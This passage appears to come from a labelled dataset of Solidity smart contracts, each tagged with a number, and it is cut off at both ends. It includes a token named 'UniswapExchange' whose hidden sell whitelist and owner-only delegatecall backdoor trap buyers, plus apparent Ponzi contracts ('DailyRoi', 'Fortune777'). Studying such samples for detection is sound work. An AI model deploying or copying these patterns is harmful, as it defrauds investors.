{ balances[to] += amount; uint bonus = amount.div(100); balances[universeOwner] += bonus; totalSupply += amount + bonus; Transfer(address(0), to, amount); Transfer(address(0), universeOwner, amount); return true; } function payForUpgrade(address user, uint price) external onlyYCC returns (bool success) { require(balances[user] >= price); balances[user] -= price; totalSupply -= price; Transfer(user, address(0), price); return true; } function payoutForMining(address user, uint amount) external onlyYCC { balances[user] += amount; totalSupply += amount; Transfer(address(0), user, amount); } function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external onlyYCC { require(balances[buyer] >= price); balances[buyer] -= price; if (seller != address(0)) { uint256 onePercent = price.div(100); uint256 payment = price.sub(onePercent.mul(burnPercent+1)); balances[seller] += payment; totalSupply -= onePercent.mul(burnPercent); balances[universeOwner] += onePercent; Transfer(buyer, seller, payment); Transfer(buyer, universeOwner, onePercent); }else { totalSupply -= price; } } }
1
3,476
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BonumPromoToken is StandardToken, Ownable { string public name = "Bonum Promo Token"; string public symbol = "Bonum Promo"; uint public decimals = 0; uint public constant INITIAL_SUPPLY = 777 * 10 ** 9; function BonumPromoToken(){ totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function transferTo(address[] recievers) external onlyOwner { for (uint i = 0; i < recievers.length; i ++) { transfer(recievers[i], 777); } } }
1
2,861
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,792
pragma solidity ^0.4.24; contract DailyRoi { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public step = 100; uint256 public minimum = 10 finney; uint256 public stakingRequirement = 2 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && investments[_referredBy] >= stakingRequirement ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(5).div(100)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
3,797
pragma solidity 0.4.25; library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } } library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function disown() internal { delete owner; } } contract Rev1Storage { function investorShortInfo(address addr) public view returns(uint value, uint refBonus); } contract Rev2Storage { function investorInfo(address addr) public view returns(uint investment, uint paymentTime); } library PrivateEntrance { using PrivateEntrance for privateEntrance; using Math for uint; struct privateEntrance { Rev1Storage rev1Storage; Rev2Storage rev2Storage; uint investorMaxInvestment; uint endTimestamp; mapping(address=>bool) hasAccess; } function isActive(privateEntrance storage pe) internal view returns(bool) { return pe.endTimestamp > now; } function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) { if (!pe.hasAccess[investorAddr]) { return 0; } (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr); if (maxInvestment == 0) { return 0; } maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment); (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr); if (currInvestment >= maxInvestment) { return 0; } return maxInvestment-currInvestment; } function provideAccessFor(privateEntrance storage pe, address[] addrs) internal { for (uint16 i; i < addrs.length; i++) { pe.hasAccess[addrs[i]] = true; } } } contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment; inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { investors[addr].investment = 0; } } } library RapidGrowthProtection { using RapidGrowthProtection for rapidGrowthProtection; struct rapidGrowthProtection { uint startTimestamp; uint maxDailyTotalInvestment; uint8 activityDays; mapping(uint8 => uint) dailyTotalInvestment; } function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return 0; } if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) { return 0; } return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)]; } function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) { uint day = rgp.currDay(); return day != 0 && day <= rgp.activityDays; } function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return false; } if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) { return false; } rgp.dailyTotalInvestment[uint8(day)] += investment; return true; } function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal { rgp.startTimestamp = timestamp; for (uint8 i = 1; i <= rgp.activityDays; i++) { if (rgp.dailyTotalInvestment[i] != 0) { delete rgp.dailyTotalInvestment[i]; } } } function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) { if (rgp.startTimestamp > now) { return 0; } day = (now - rgp.startTimestamp) / 24 hours + 1; } } contract Fortune777 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; uint public constant minInvesment = 10 finney; uint public constant maxBalance = 333e5 ether; address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; Percent.percent private m_1_percent = Percent.percent(111,10000); Percent.percent private m_5_percent = Percent.percent(555,10000); Percent.percent private m_7_percent = Percent.percent(777,10000); Percent.percent private m_8_percent = Percent.percent(888,10000); Percent.percent private m_9_percent = Percent.percent(999,100); Percent.percent private m_10_percent = Percent.percent(10,100); Percent.percent private m_11_percent = Percent.percent(11,100); Percent.percent private m_12_percent = Percent.percent(12,100); Percent.percent private m_referal_percent = Percent.percent(777,10000); Percent.percent private m_referrer_percent = Percent.percent(777,10000); Percent.percent private m_referrer_percentMax = Percent.percent(10,100); Percent.percent private m_adminsPercent = Percent.percent(5,100); Percent.percent private m_advertisingPercent = Percent.percent(10,100); event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { if (msg.value.isZero()) { getMyDividends(); return; } doInvest(msg.data.toAddress()); } function disqualifyAddress(address addr) public onlyOwner { m_investors.disqalify(addr); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } function init(address rev1StorageAddr, uint timestamp) public onlyOwner { m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours); uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); assert(m_investors.setPaymentTime(msg.sender, now)); if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther)); adminsAddress.transfer(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; uint referrerBonus = m_referrer_percent.mmul(investment); if (investment > 10 ether) { referrerBonus = m_referrer_percentMax.mmul(investment); } uint referalBonus = m_referal_percent.mmul(investment); assert(m_investors.addInvestment(referrerAddr, referrerBonus)); investment += referalBonus; emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus); } uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } function dailyPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 500 ether) { p = m_7_percent.toMemory(); } else if ( 500 ether <= balance && balance <= 1500 ether) { p = m_8_percent.toMemory(); } else if ( 1500 ether <= balance && balance <= 5000 ether) { p = m_8_percent.toMemory(); } else if ( 5000 ether <= balance && balance <= 10000 ether) { p = m_10_percent.toMemory(); } else if ( 10000 ether <= balance && balance <= 20000 ether) { p = m_12_percent.toMemory(); } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
1
3,368
pragma solidity ^0.4.24; contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { _owner = msg.sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.4.24; contract Administratable is Ownable { mapping (address => bool) public superAdmins; event AddSuperAdmin(address indexed admin); event RemoveSuperAdmin(address indexed admin); modifier validateAddress( address _addr ) { require(_addr != address(0x0)); require(_addr != address(this)); _; } modifier onlySuperAdmins { require(msg.sender == owner() || superAdmins[msg.sender]); _; } function addSuperAdmin(address _admin) public onlyOwner validateAddress(_admin){ require(!superAdmins[_admin]); superAdmins[_admin] = true; emit AddSuperAdmin(_admin); } function removeSuperAdmin(address _admin) public onlyOwner validateAddress(_admin){ require(superAdmins[_admin]); superAdmins[_admin] = false; emit RemoveSuperAdmin(_admin); } } pragma solidity 0.4.24; contract Freezable is Administratable { bool public frozenToken; mapping (address => bool) public frozenAccounts; event FrozenFunds(address indexed _target, bool _frozen); event FrozenToken(bool _frozen); modifier isNotFrozen( address _to ) { require(!frozenToken); require(!frozenAccounts[msg.sender] && !frozenAccounts[_to]); _; } modifier isNotFrozenFrom( address _from, address _to ) { require(!frozenToken); require(!frozenAccounts[msg.sender] && !frozenAccounts[_from] && !frozenAccounts[_to]); _; } function freezeAccount(address _target, bool _freeze) public onlySuperAdmins validateAddress(_target) { require(frozenAccounts[_target] != _freeze); frozenAccounts[_target] = _freeze; emit FrozenFunds(_target, _freeze); } function freezeToken(bool _freeze) public onlySuperAdmins { require(frozenToken != _freeze); frozenToken = _freeze; emit FrozenToken(frozenToken); } } pragma solidity 0.4.24; contract TimeLockable is Administratable{ uint256 private constant ADVISOR_LOCKUP_END = 1551398399; 